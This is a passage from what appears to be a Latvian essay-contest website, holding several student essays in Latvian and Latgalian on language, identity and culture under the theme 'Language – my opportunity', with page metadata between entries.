tī skaņ pavysam sovaiduok. Voi sliktuok? Nā! Vuords vaer byut vīns un tys pats, bet golvonū jāgu as iznasu ar skaņi, ar intonaceji, lai cylvāki saprūt, ka volūdys dažaidis, bet suope to vīna. Tai runoj dviesele, tai runoj jei ar munys volūdys vuordim, jū jai tai ir vīgluok, jei tai grib, jū koč kas ir nūtics. Ja volūdai suop, suop arī cylvākam. Muna volūda ir boguota. As prūtams nazynu vysus latgalīšu vuordus, bet dieļ tam maņ ir daudzi draugu latgalīšu. Sasiežam vysi pi golda i kai suokam runot par dzeivi, par tū kai kotram kluojas. I siežu es arī, klausūs, bet drusku nasaprūtu. Bet maņ tak vajaga zynuot, man vajaga saprast, par kū jys tai runoj. I es vaicoju. A izaruoduos, ka gapeļs iraida dakšeņa, a ļizeika - karūte. Vot i siežu as i štukavoju, nu tai kai i nadzeivojam tik tuoļi vīns nu ūtra, tika simteņš kilometru, tys daže nav tuoļi kai pa zuoļi, bet taipat tik boguotim vuordim muna volūda. Tagadeņ as svešuokā pusī, te latgaliski cīši nivīns narunoj i saprast tože nasaprūt. Reizem ir gryuši, gribīs kū sovu, kai sātā, ka vysu myužu tik latgaliski runoj. Nu as i zvonu uz sātu. Zvonu, lai ar kaidu parunuotūs, lai dzierdātu meiļūs bolsus, kai arī latgalīšu volūdu. Cyutoži maņ jau apņeik runuot pošam ar sevi dūmuos vai pat skaļuok, kod nivīna nav. Nā nu tys jau nav grāks, kai soka, vajag parunuot ar gudrim cylvākim, it īpaši, ja runa īt par latgalīšu volūdu. Tai nu es dzeivoju, dūmoju, sprīžu, runoju, smejūs, raužu i bādojūs, gremdejūs atmiņuos. Bet tys vyss munā meiļuokajā volūdā - latgalīšu volūdā. Tei ir volūda, kurā runuoja muni dzedi i babys, muna mama it tēte, runoj bruoļi i muosys, nu vysa muna rodņa. Bet pats golvonais, ka mēs turamīs pi tuo, mes naļaujam zaudēt tū, kas pīder mums, tū, par kū ir vārts dzeivuot – par volūdu, par dzymtū latgalīšu volūdu. Lai myusum runa byutum breiva i lai munim bārni i mozbārnim nav juosakaunej, ka latgalīšu volūda ir myusu dzymtuo volūda. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/karolinas-krauzes-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Karolīna Krauze, Latvijas Kultūras akadēmija ESEJA “VALODA – MANA IESPĒJA! ” Es iemērcu kājas dzidrajā strautā un tas ar mani vairs nerunā. Es palūkojos augšup mākoņu rindās un tie vairs neveido skaistus mākslas veidojumus man saprotamā valodā. Un kaimiņu kaķis vairs neglaužas man pie kājas, murrādams savu dziesmu. Kad biju mazāka ar mani runāja Māte Daba- gan caur vēju, kas traucās šurp no ziemeļiem, pazustdams priežu galotnēs, gan ar gājputniem, kas laidās pāri tīrelim, nesdami citas pasaules dvašu. Vai es esmu aizmirusi valodu kādā mēdz runāt Māte Daba? Tiekot noslīcinātai pasaules negatīvajā vilnī, es lēnām pazaudēju sevi. Neapmierinātas sejas, cilvēku plūsma, negatīva aura, kliedzienu pilnas ielas, raudas, ilgas un gaidas. Manas plaušas piepildījās ar neziņu un neizpratni, līdz es vairs nespēju paelpot un beidzu savu veco dzīvi ar nāvējoši sāpīgu atklāsmi. Kā es varu gaužām lūgties pēc tā, lai viss man dzīvē beidzot kļūst skaidrs, ja es esmu iemācījusies tikai pusi savas valsts valodas. Es nevaru liet asaras par to, ka vējš vairs nesvillpo manās ausīs un ūdensteces nečalo saulleszaķu ietērpā, ja es nespēju saprast sabiedrības valodu- visas sāpes, ciešanas un ilgas. Tāpēc, kā ceļamaizi es paķēru vien savu vēlmi pēc apskaidrības un devos krēslā iētērptās Rīgas ielās. Vispirms savā ceļā es sastapu nedzirdīgu jaunekli, kurš centās mani uzrunāt zīmju valodā. Es vēlējos kaut spētu atrast šajās kustībās saliktus un pakārtotus teikumus, bet vienīgais, ko savas neziņas dēļ spēju saskatīt, bija zēna ķermeņa valoda. Tas cīnījās ar alkām pēc sabiedrības sapratnes un vienlīdzības. Gluži kā ikviens sabiedrības loceklis. Nākamais manas apskaidrības pastaigas ciemiņš bija vīrietis alkohola reibumā. Tas grīļojoties virpuļoja cauri pilsētas neapdzīvotajam rajonam, aizskardams gandrīz katru garāmgājēju- gan ar savu nekontrolējamo ķermeni, gan ar nekrietniem vārdiem man zinājamā mēlē. Noklīdušais vīrietis bija pazaudējis savu dzīves ceļu un, gluži tāpat kā es, meklēja veidu kā tikt galā ar apskaidrības neesamību. Mani pēdējie vakara viesi bija ģimene ar bērniem, kas ķīvējās savā starpā. Ieklausoties ģimenes sarunā un saprotot valodu, es secināju to, ka vecāki nevarēja atļauties bērniem nopirkt veikalā kāroto. Inflācijas un mazās peļņas dēļ, ģimene dzīvoja pieticīgi un tādi prieki kā šokolādes tāfelīte, nebūtu ģimenei pa maciņam. Es redzēju kā, ieraugot mani- apskaidrības meklētāju, vecāki nokauninājās un pieklusināja bērnu balsis, lai man nevajadzētu raizēties par nabadzīgās sabiedrības valodu. Lai gan mans ceļa mērķis bija noskaidrot kāpēc es esmu piemirsusi Mātes Dabas valodu- kamdēļ upes ar mani vairs nerunā un kaimiņu kaķis pie kājām vairs tik skaļi nemurrā, es kā atbildi manām sirdsāpēm iemācījos jaunu valodu. Valodu, kādā visu šo laiku nerunāju. Maza būdama, es pratu saprast un spēju atbildēt savai valstij caur tīrumiem, upēm un ezeriem, skaistajiem saulrietiem un saulgriežiem, mežu biezokņiem un zvaigznājiem, bet nebiju iepazinusi savas valsts otru valodu- sāpes, nabadzību un dvēseles nozaudēšanu ikdienas neapmierinātības plūsmā. Šī valoda ir mana iespēja būt vienai ar tautu, valsti un manām mājām. Latvijas valsts sastāv ne tikai no Mātes Dabas, bet arī no sabiedrības, kas cieš pasaulei līdzi, un lai es patiesi spētu runāt savas valsts valodā, man ir jāiepazīst un jāpieņem ne tikai skaistie līdzenumi, bet arī manu līdzcilvēku bēdu stāsti. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/krisa-gruntes-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Krišs Grunte, Latvijas Kultūras akadēmija ESEJA “PASAULES PIRMS VĀRDIEM” Tu teiksi, ka valoda ir arbitrāra un nepietiekams klusums, kurā nekas nemaz nav īsts, tomēr šis neīstums ir tā īstums. Valodos upes un jūras, bet vēlāk tu atzīsies, ka visu laiku domā par cilvēkiem kā par jūrām. Es tev neteikšu, ka toreiz domāju par to, ka vajag krastu, lai tiktu pie jūras. Vēl tev neteicu, ka vispār lībiešu valoda ir jūras valoda. Laz ma vōig pūritō! Vēl man gribējās teikt, ka vārdi, kurus izdomājam, ir tikai tāpēc, lai mēs vispār varētu sarunāties. Es tev tikai to uzrakstīšu uz kabatā atrodama papīra – uz iepirkumu čeka, uz salvetes, uz psihiatra vizītkartes. Es uzrakstīšu, ka par to jau arī rakstīja Inga Ābele “Tumšajos briežos”, kad Ria, nošaudama savus mīļos briežus, ienāk vienmēr drēgnajā, vientulības aukstajā virtuvē un uzrunā tēvu. Tas viss, lai sarunātos ar tēvu un lai tēvs sarunātos ar Riu. Abi pēkšņi atjēdzas, ka nav dzirdējuši ne klusuma vārdus, ne savas esības vārdus, ar kuriem sākas pasaule, lai arī kāda tā katram tiktu dota. Viņi saprot, ka tā valoda vēl nav radīta, bet tajā brīdī... tajā velnišķīgi pulsējošajā asins brīdī, kad šāviens pārlauž klusumus, ēnas un attālumus, tajā brīdī sākas sākums viņu tuvošanās aktam, kuru realizē pāris vārdu šajā sarunāšanās valodā kā soļi, kas taustās nedroši pa zemi. Tēt! Ria! Ko man izdarīt, lai mēs sarunātos? Nē, ko man izdarīt, lai mēs varētu nosaukt šo vietu un visas šīs sajūtas, kas iestiepjas asins sarkanā ātrumā, noraujot atcerēšanās vilcienus ar savām aizbraukšanām un atbraukšanām, liekot tev kļūt par rudeni manā gadalaiku sistēmā? Vēlāk tu aiziesi tulkot kādu sava vecuma dzejnieku. - Tu iesi tiltot? Tulkot nozīmē tiltot. Šeit ir tas tilts. – es tev pateikšu, pirms sāksi izdomāt atvadas. - Ko, lūdzu? - Te... nu, šeit tu esi tilts. Saproti? - Kā, lūdzu? - Nu, tilts savieno vienu krastu ar otru. Valoda slīd caur taviem apziņu laukiem un pārtransformējas jaunā izskatā, paturot to pašu ideju, bet tomēr tā nav tā pati ideja. Tilts tikai savieno. - Nē, tu vienkārši par daudz izdomā. - Tā nav. Te ir šie vārdi. - Tu vienkārši par daudz domā. - Un šie koki? - Kas ir ar viņiem? - Tu tiešām neatceries? - Ko man vajadzētu atcerēties? - Piemēram, egli. Milošs rakstīja – “un kā staigājoši koki mums ir cilvēki”. - Nu, un? - Tas taču ir līdzīgi, ar šo egli. - Kā tas var būt līdzīgi? - Atbildi! Kas ir egle? - Ar skujām. - Jā, bet nē. Saproti, tas ir pieblīvēts ideju komplekss. Latviešu folklora. Atceries? Egle ir vienatnības stāvoklis, tas ir cilvēks un koks reizē. Koks ir cilvēks, cilvēks ir koks. Bet mēs aizmirsām. - Ko aizmirsām? - Šo visu. Iestājies attālums. Saproti? Nāk vārdi viens pēc otra, smagi un tramīgi. Kāds vienmēr zaudē. Un te mēs zaudējām to domu par cilvēkiem un kokiem. - Vai vispār to vajag atcerēties? - Ko vispār vajag un ko nevajag atcerēties? Tu nevarēsi atbildēt, jo kaut kur sen atpakaļ sākās jūra, kas varēja nozīmēt to, ka sākās koki, kas, savukārt, nozīmēja to, ka kaut kur sākās pasaule, par kuru ne tev, ne man nebija ne jausmas. Piecēlos. Tevi vēl neviens vārds nebija radījis. Šī bija pasaule pirms vārdiem. *Piezīme. Valodas dinamiku un tā pastāvēšanas aktu, galvenokārt, nodrošina tās pielietojamība un lietošana. Sarunāšanās ir visdzīvākā valodas esības forma, kurā valoda ne tikai saglabājas, bet tā papildinās un kļūst atkal un atkal dzīva. Savukārt, eseja ir teksta esības forma jeb vizuāla valodas atveide. Ferdinand, Saussure (1959). Course in General Linguistics. New York: PHILOSOPHICAL LIBRARY, 67. -70. p. Lai es varu jūrā doties (Lībiešu valodā) Milošs, Česlavs (2021). Dāvana. Rīga: Neputns, 55. lpp. Rūķe-Draviņa, Velta (1986). Cilvēks Un Daba Latviešu Tautasdziesmās. Stokholma: Artilett,10. lpp. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/agneses-prikazas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Agnese Prikaza, Latvijas Sporta pedagoģijas akadēmija ESEJA “VALODA – MANA IESPĒJA! ” Katram no mums šūpulī ieliktas vērtības, bez kurām dzīve līdzinātos vienmuļai, melnbaltai filmai. Viena no šīm dāvanām ir mūsu dzimtā valoda, kas ļauj izteikties un uzklausīt, gūt zināšanas un pilnveidot tās. Dzīves esence rodama izziņas procesā, kas padara mūs par īpašniekiem tādai bagātībai, ko pat prasmīgākais laupītājs nekad neatņems. Laikam ritot, tā pieņemas apmēros, ļaujot skaidrāk ieraudzīt iekšējo pasauli un neliedzot izpratni par sevi arī citos. Ar valodu tāpat kā ar laimi – tikai daloties tajā ieraugām lielāko patiesumu un vērtību, ko tā spējīga sniegt. Ne velti dzimtā valoda dēvēta arī par mātes valodu, tā ir mūsu pirmā saziņas iespēja, kas vairo priekšstatu par sevi, pasauli un tās procesiem. Ar to saprotam ne tikvien vārdiem, bet arī zīmēm, pieskārieniem un mīmiku izsakāmo. Dzīves laikā valoda ar komunikācijas un mācību procesa palīdzību kļūst krāšņa, papildinot leksikas vācelīti ar pareizu un neordināru vārdu kopumiem. Tā nojauc barjeras, kas ierobežo spēju formulēt prāta dziļākajos nostūros glabātās domas, izteikt vārdiem savas jūtas un emocijas. Ikkatram nepieciešams izteikties, vienalga tās būtu labās vai sliktās domas, ko prāts izveidojis. Cilvēks bez valodas to noglabā sevī, tādejādi kaitējot kā pašam, tā apkārt esošajiem. Runāt, rakstīt, dziedāt – jebkurš no šiem izpausmes veidiem ir mūsu saziņas iespēja un tieši dzimtā valoda ir atslēga ne tikai prāta, bet arī sirds atbrīvošanai no sloga. Vai nav burvīgi otrā pasaules malā satikt kādu, kurš runā vienā mēlē ar tevi? Tieši šā iemesla dēļ ārvalstīs veidojas tautu kopienas, kas pulcējas, lai komunicētu dzimtajā valodā un rastu piederības sajūtu, atrodoties tūkstošiem kilometru tālu no mājām. Valoda ir kultūras daļa, kas mūsos iesēta kā pieneņu pūka, kas tikai gaida vēja plūsmu, lai aizlidotu pareizajā virzienā un priecētu ceļā satiktos. Tā ir dzīva un, ilgi nepielietota, palēnām izzūd no prāta, vietā stājoties citai. Arvien biežāk sastopamies ar dažādu valodu sajaukšanos, radot jaunvārdus un paplašinot spēju izteikties sev līdzīgi domājošo vidū. Lai arī ne visi ar šo procesu ir mierā, tā ir iespēja, kas valodu atdzīvina un padara atbilstošu laikmetam, ļaujot tās lietotājiem izpausties sev ērtākā formā. Nenoliedzami, svešvalodu apguve ir atslēga uz ārpasauli, jo valodas robežas vienlaikus nosaka mūsu pasaules limitus un tikai valoda padara mūs brīvus, pavadot ceļā uz ikkatru izsapņoto mērķi. Bez tās mums būtu liegta iespēja doties plašajā zināšanu visumā, novelkot stingras līnijas ar to, ko spēsim apgūt un pieredzēt. Bez valodas mēs neesam nekas, vien tukša lapa, ko svešie aizpildīs pēc savas gribas, padarot mūs par visu, tikai ne to, kas patiesībā esam. Valodu ir daudz un katra no tām dažāda, visas nekad neapgūsim, taču mātes valoda vienmēr glabāsies mūsos kā kvēlojoša ogle, radot siltuma sajūtu pakrūtē. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/dilana-kenina-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Dilans Ķēniņš, Latvijas Sporta pedagoģijas akadēmija ESEJA “VALODA – MANA IESPĒJA! ” Valoda ir cilvēka pieredzes kaleidoskops un rīks, kas glezno košus attēlus ar vārdiem un skaņām. Tā ir durvis, kas atveras uz dažādām pasaules daļām, veidojot sapņainas ainavas. Augot un pilnveidojoties, saprotu, ka valoda var būt gan bruņinieks, gan upuris, gan veids, kā sasniegt vēl nezināmas robežas un iepazīt vel nezināmas pasaules. Ir svarīgi apzināties, ka valoda var būt arī diskriminējoša un var radīt barjeras komunikācijai un sapratnei – esot upuris. Ar valodu mēs varam aizstāvēt savu viedokli. Runājot par lietām, kas ir svarīgas mums – esot bruņinieks. Tāpēc mums, sabiedrībai, jābūt apzinātiem un uzmanīgiem attiecībā uz valodas izmantošanu un jācenšas izmantot to tā, lai iekļautu un pieņemtu dažādību, nevis radītu atstumtību. Valoda man ir dāvājusi iespēju sasniegt plašākas sapņu robežas. Ar to esmu spējis ceļot pa dažādām valstīm, sarunāties ar cilvēkiem viņu dzimtajā valodā un izjust dažādas kultūras ar to dabisko un harmonisko skaņu. Valoda man ir ļāvusi veidot draudzības ar jauniem cilvēkiem un sajust to cilvēcisko saikni, kas pastāv starp mums. Tomēr valoda nav tikai praktisks rīks. Tā ir kā sprādziens, kas iedvesmo un rada jaunas idejas. Tā ir kā saules gaisma, kas spīdīgi iekrāso manu pasauli un ļauj man izprast savu identitāti. Es to uztveru kā iespēju saprast savas saknes un sazināties ar savu mantojumu un pagātni. Runājot vecāku valodā, es izbaudu viņu vēstures un tradīciju bagātību. Valodas apgūšana nav vienmēr viegls uzdevums, taču tas gandarījums ir neizsakāms. Tas ir kā rudens lapu krāsošana, kur katrs krāsainais tonis nozīmē kādu kultūru vai pasaules daļu, kas tiešām ir iedvesmojoši. Tas ir kā skatuve, uz kuras es varu izpaust savu radošumu un pašizpausmi. Tas ir kā zvaigžņu mirdzums, kas atklāj man jaunas zināšanas un apziņu. Secinājumā es gribu teikt, ka valoda ir mans portāls uz iespēju un sapņu pasauli, kurā es varu paust sevi un sajusties savienots ar cilvēkiem sev apkārt. Valoda ir kā spogulis, kas atspoguļo manu iekšējo pasauli, un tajā es varu izteikt savas domas un emocijas. Valoda ir kā slepens stāsts, kas pastāv starp vārdiem un nozīmēm, un to atklājot, es varu saprast cilvēces dziļākos noslēpumus. Tādējādi, valoda ir iespēja iepazīt pasauli no citiem skatupunktiem, saprast citu kultūru un cilvēku redzējumus, kā arī savu identitāti un vērtības. Tas ir kā burvju līdzeklis, kas var izmainīt un veidot cilvēku dzīvi. Valoda ir mans spēks un mans iedvesmas avots, kas ļauj man izmantot savu potenciālu un sasniegt savus sapņus. Tāpēc es esmu pateicīgs par iespēju dzīvot valstī, kurai ir sava valoda un to izmantot, lai izpētītu pasauli un sevi. Es zinu, ka tas prasa darbu un uzmanību, bet esmu gatavs strādāt, lai turpinātu izaugt un attīstīties, izmantojot valodu kā savu iespēju. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/valerijas-bules-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Valērija Bule, Latvijas Sporta pedagoģijas akadēmija ESEJA “VALODA – MANA IESPĒJA! ” Valoda kā aizsargbarjera? Viennozīmīgi, JĀ! Valoda, sabiedrībā ir kā virzītājspēks un bez tās nav iedomājama sabiedrības evolūcija un attīstība. Caur valodu cilvēks iepazīst pasaules burvību un arī sevi šajā notikumu ciklā. Ar valodu un vārdiem cilvēks “piesaka” sevi pasaulei un pauž tai savu interesi par notiekošo, kā arī vārds ir tas, ar ko cilvēks aiziet mūžībā. Atskatoties vairākus gadu desmitus atpakaļ, var redzēt, ka latviešu valoda ir piedzīvojusi apdraudējumus izdzīvošanai, taču, neskatoties uz visām grūtībām, tā ir izdzīvojusi. Kā piemēram, 19. gadsimta vidū latviešu valodu kā valodu neviens nopietni neuztvēra, taču pēc vairāk kā pusgadsimta tā jau kļuva par valsts valodu un 21. gadsimtā tā ir savas attīstības un evolūcijas epicentrā. Tas pierāda to, ka bez cīņas nav uzvaras! Svarīgs ir fakts, ka latviešu valoda ir vienmēr bijusi un būs latviešu tautas dvēseles daļa, tā ir mūsu sirdsbalsīs un domās. Mana valoda ir mana vizītkarte un piederības (etniskās izcelsmes) spogulis. Manas ikdienas gaitas nav iedomājamas bez latviešu valodas, jo tā ir manas garīgās un sabiedriskās dzīves pamats, tā vieno paaudzes un tautas kultūru. Runāt skaidri un saprotami, izmantojot plašu vārdu krājumu, nozīmē cienīt savu valodu un godināt to. To cik plūstoši un raiti mēs spējam izteikties, raksturo mūsu zināšanu līmeni un attīstības pakāpi, jo valoda ir visur – tā slēpjas mūsu emocijās, jūtās, darbībā un domāšanā, tā ir kā “ēna” kura ar neredzamiem pavedieniem savieno cilvēkus un sabiedrību kopumā. Latviešu valoda ir skaista valoda, to kopt un slavināt ir mans pienākums un gods. Grāmatas un dzeja, kura top latviešu valodā ir fantastiska, lasot to skaļi galvā uzreiz iezīmējas autora izveidotais sižets un vārdu krājums palīdz “iekļūt” rakstnieka domu virpulī un tajā esošās rindas ir kā mūzika manām ausīm, kura tūlītēji uzlabo pašsajūtu un turpmāko darāmo darbu noskaņojumu. Ticu, ka uzlabojot un attīstot savu valodu, es kļūšu spēcīgāka apkārtējo cilvēku vidū, jo ar lepnumu izrunāju katru jauniegūtu vārdu. Latviešu valoda ir nemirstīga, tā ir kā mūžīgā roze, kura turpina ziedēt un plaukt visā savā krāšņumā. Latviešu valoda ir mana vislielākā dzīves iespēja un bagātība, kuru šajā dzīvē man nespēj atņemt neviens, tā ir mans lepnums un gods, jo tās neesamība atņemtu manu patieso būtību un tiesības būt īstenai latvietei. Labākas dzīves meklējumos, bieži dodamies uz ārvalstīm, kā Sprīdītis – laimi meklēt, taču ir jāatceras, lai kur mēs arī nebūtu mēs vienmēr nesam sevi līdzi, no tā izriet, ka latviešu valoda ar mums ir vienmēr un arī esot ārpus Latvijas robežām, mūsu spēkos ir to attīstīt un nest pasaulē. Kā ir teicis J. Alunāns “Cik stipra būs mūsu valoda, tik stipri būsim mēs paši,” pilnībā piekrītu šim izteicienam, jo mums kā nekad agrāk ir nepieciešama skaidri definēta valodas politika. Nobeigumā vēlos piebilst, ka latviešu valoda ir manas saknes, spēks un gars, ko es kā savas valsts patriots varu stiprināt ikdienu. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/alises-zitas-zeidakas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Alise Zita Zeidaka, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Atceries dziesmu, kurā ir tā rindiņa, kas tev uzdzen tirpiņas? Un to mirkli, kad mīļotais pateica vārdu tā, ka gluži vai fiziski sajuti, kā tas iecērt brūci? To brīdi, kad samelojies. Tos dialogu scenārijus, kas paliks tikai tavā bezmiega nomocītajā prātā. Pirmo reizi, kad kāds tev teica “mīlu”. Sava bērnības mājdzīvnieka, kura aiziešana tev parādīja pasaules neizbēgamo kārtību, vārdu. To vārdu, kura pareizrakstību allaž aizmirsti, teiksim, “nostalģija”. Un vēl tos vārdus, ko saki, lai izklausītos gudrāks, nu, tu saproti, lai šī fleksiblā diskursa koncepts būtu kompetentāks. Es vienmēr tur esmu. Es varu pasūtīt picu, uzcelt grimušas pilis, norunāt līdz rītausmai tā, ka laiks nerit kopā ar pulksteni, es varu saprasties, saprast un pārprast, murmināt, kliegt, iečukstēt un noskaldīt kā ar cirvi, es spēju tev pierunāt pilnas ausis ar medu, aptumšot prātu un apburt ar vārdu tā, ka ļaužu pūļi vairs neatšķirs labu no ļauna. Es protu izdarīt tā, ka netici tam, ko redzi. Es esmu klačiņa par laikapstākļiem, kas aizpilda neveiklu klusumu, un arī Svētie raksti. Es esmu tas ābols, kuram Ieva nespēja pretoties, kurš iebelza pa pauri Ņūtonam un kurš spoži laistās uz tava telefona muguriņas. Es esmu radītāja un arī tā poga, kuru piespiežot, var notikt Lielais Sprādziens, kas visu pārvērš putekļos. Tavi sugas brāļi un māsas netiek gudri, kā es rados. Vai es esmu kāda Augstāka spēka dāvana, vai arī sākos tad, kad tavi senči vēl tikai ūjināja, lai atdarinātu dabas skaņas un brīdinātu par briesmām? Es tev, mazais dzīvnieciņ, uzliku galvā dabas kroni. Ar mani tu sakārtoji pasauli. Re, tu esi cilvēks, kurš sēž uz krēsla un šo lasa, un tu par to nešaubies. Jūs visi, cilvēki, esat vienojušies, ka šo veidojumu sauksit par tekstu. Taču es, tikai es novelku to smalko, nemanāmo diedziņu starp reāliju un jēdzienu. Es esmu spēles noteikumi, kāršu namiņš, kurā tu dzīvo. Iedomājies, kā būtu, ja es izdomātu uzspēlēt “Sētniekus” – to spēlīti, kur kāršu kavu met gaisā tā, ka viss sajūk? Ja es uzsistu vienu knipi pa tavu namiņu? Tev vairs nebūtu vārdu. Ar savu izgaišanu es varu ieslodzīt tevi tavu jutekļu un prāta zibšņu pasaulē. Iedomājies, tu ne tikai nevienam nespētu pateikt, ka tev, piemēram, sāp, bet vēl trakāk – pats nespētu šo sajūtu nosaukt vārdā! Es esmu sistēma, kurā noris visa tava pastāvēšana. Arī tad, kad tu klusē, jo arī klusums ir vārds. Tu teiksi: “Nē, man vēl paliks domāšana, un tā taču var būt tēlaina! ” Bet pat ja tu atsacītos no visa jēdzieniskā, vai tu, draudziņ, spētu iztikt bez zīmēm? Vai tu izdzīvotu pasaulē, kurā nekas neko neapzīmē? Vai tu vispār pats būtu, ja nebūtu tāda “es”? Tevī plosās un ņirb jūtu murskulis, kas tevi sasien un žņaudz, un es varu palīdzēt to atmudžināt. Bet tu mēģini sasiet mani. Tu vairs neatminies, ka kaimiņos dzīvo nāburgs, tu steidzies un nepaveries uz augšu, kā zvīzgnī zvaigznes, uzsit ašu īsziņu un aizmirsti tik daudz vārdu, pārgriezdams tos smalkos diedziņus, kas tos saista ar citādi nepasakāmo. Vai zini filmu “Bezgalīgais stāsts”, kur izplešas tukšums? Lūk, tu tādu tukšumu ielaid manī, un tāpēc arī pats sevī. Tavs kāršu namiņš stāv uz grīļīga galda. Cilvēks domā, jūt un dzīvo tikai valodā, un viņam vispirms jābūt valodas veidotam – tā reiz prātoja tavs sugas brālis Vilhelms fon Humbolts. Es tevi veidoju, es esmu logoss. Es esmu tava iespēja dzīvot, izdzīvot un piedzīvot it visu šajā pasaulē. Es uzliku tev galvā dabas kroni, bet tik un tā tu dzīvo manā kāršu namiņā. Ja tas sabruks, tici man, arī kronis nokritīs, un tu vispār nezināsi, kas tas tāds “kronis” ir. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/arinas-baranovas-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Arīna Baranova, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Personības pilnveidošanā viena no vissvarīgākajām lomām ir valodu zināšanai, jo tieši tā dod iespēju uzzināt vairāk par kultūras krātuvi. Cilvēki ceļo pa pasauli, lasa grāmatas, apmeklē gleznotāju izstādes ar mērķi iedziļināties pašizpausmes mākslā, tomēr valoda ir priekštecis tam, lai cilvēks varētu nevis saprast, bet izprast kultūru. Kultūra no latīņu vārda “cultura” nozīmē audzināšana. Cilvēks audzina un izglīto sevi visu mūžu. Valoda, tieši man, ir iespēja izglītot sevi par konkrētu laiku. Piemēram, agrāk mašīnu vietā bija izmantotas zirgu pajūgas, kuras vadīja kučieris. Ja ārzemnieks, kas iemācījās latviešu valodu, dzirdēs šos vārdus, viņam droši vien vajadzēs izskaidrot šo vārdu nozīmi. Laiks, kurā mēs dzīvojam tagad, būtiski atšķiras ar to, kas bija pirms piecdesmit vai simts gadiem. Nebija jaunvārdu kā “smartfons”, bet bija tikai “stacionārais telefons”. Šie divi vārdi sevī slēpj stāstu, ka cilvēks nevarēja brīvi pārvietoties ar telefonu. Tas nozīme, ka visi numuri bija pierakstīti kādā atsevišķā klādē, nevis telefona kontaktos, tādēļ tieši valoda palīdz izzināt laiku, kurā nebijām dzīvojuši. Protams, skatoties uz ainām, arhitektūru, cilvēks var iedziļināties uz brīdi kādā citā laikā, bet valoda ļauj to izprast dziļākā līmenī, it sevišķi, dzirdot stāstus un lasot grāmatas par citu gadsimtu. Valoda palīdz cilvēkam redzēt pasauli daudz plašākā skatījumā. Valoda dod iespēju izpaust spēku. Vispārējos latviešu Dziesmu un Deju svētkos piedalās gan deju kolektīvi, gan kori. Vairāki cilvēki apvienojas, lai dziedātu dziemas dzimtā valodā. Viens no piemēriem ir Mārtiņa Brauna “Saule, Pērkons, Daugava”, kas izpauž lielu tautas spēku caur vārdiem. Stāvot uz lielās skatuves ar vairākiem kolektīviem, vai, stāvot skatītāju rindās, un redzot, cik daudz cilvēku apvienojas vienā ritmā, vienā balsī, atspoguļojot tautas tradīcijas, ir patiešām vienreizēja pieredze. Cik no mums lasa grāmatas tulkojumā? Cilvēkam ir iespēja izlasīt jau iemīļotas ārzemes grāmatas, jo bija cilvēks, kas tās iztulkoja. Tomēr, lasot grāmatas oriģinālā, cilvēks var sevi savienot ar stāstu bez starpnieka. Ļoti bieži vienu vārdu var interpretēt dažādi un tulkotājs izvēlas vārdu, kas viņam ir tuvāk pie sirds. Katrs cilvēks dažreiz vienu un to pašu vārdu var saskatīt dažādi, piešķirot tām “citus toņus”. Kā reiz ir teicis S. Džonsons, angļu valodas rakstnieks, “valoda – domu tērps”. Valoda paver ne tikai durvis uz kultūras izprāšanu, grāmatu lasīšanu, bet arī ļauj cilvēkam veidot savas domas. Valoda palīdz cilvēkam izpaust to, ko, kā bieži ir teikts, “ir grūti izpaust ar vārdiem”, jo vārdu “nepietiek”. Tā veido mūsu domas, ļauj mums saprast labāk citus cilvēkus, tāpēc varu apgalvot, ka valoda ir mana iespēja attīstīt savu domāšanu un iedziļināties kultūrā. Citas konkursa esejas --- - Published: 2023-04-11 - Modified: 2023-11-21 - URL: https://skrivanek.lv/edmunda-dariana-kropa-eseja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional Autors: Edmunds Dariāns Krops, Latvijas Universitāte ESEJA “VALODA – MANA IESPĒJA! ” Pilnīgākā tumsa, mitra, taču ļoti silta vieta. Samulsums un neziņa par pasauli un tās brīnumiem. Mēs visi esam tur bijuši. Vēl pārāk mazi lai patstāvīgi ieelpotu gaisu, vēl pārāk mazi lai dotos pasaules gaitās. Pirmsākums mūs ievija tumsā un klusumā, bet tas nebija mūžīgi! Drīzumā mēs varējām sajust mātes siltos un mīlošos sirdspukstus un savā piektajā mēnesī mēs atklājām, ko negaidītu. Starp tumsu un siltajām sajūtām dzima jauna pieredze. Spēja dzirdēt ir viena no mūsu lielākajām dāvanām. Tā tik negaidīti ielavas vēl nedzimušā bērna pasaulē. Klusumu, Tumsu pārtrauc mātes teiktie vārdi. Un vēl pavisam mazā bērniņa sirds iepukstas straujāk. No šīs dienas viss mainās, jo tagad mazulis dzird gan mammu, gan tēti un tos, kas ir apkārt. Mirklis, kad mēs pamazām sākam pieredzēt mūsu dzimto valodu. Rodas jautājumu klāsts – Kāpēc mēs spējam dzirdēt tik agri? Kāpēc mazie bērni ir tik talantīgi un nenogurdināmi valodas mācībā? Kas ir dzimtā valoda un ar ko tā ir īpaša? Tie nav vieglākie jautājumi, bet tas ir dabīgi meklēt atbildes uz nesaprotamo! “Homo Sapiens” jeb mūsu valodā saprātīgs cilvēks ir tas, kuram pieder planēta Zeme. Taču kāpēc? Bet, kāpēc cilvēks? Ne lauva vai tīģeris, zilonis vai krokodils. Mēs atpaliekam no leopardiem ātrumā no ziloņiem fiziskā spēkā un arī pilnīgi noteikti no gandrīz vai visām dzīvnieku sugām veiklībā. No pirmā skata varētu likties, ka cilvēks ir viens no 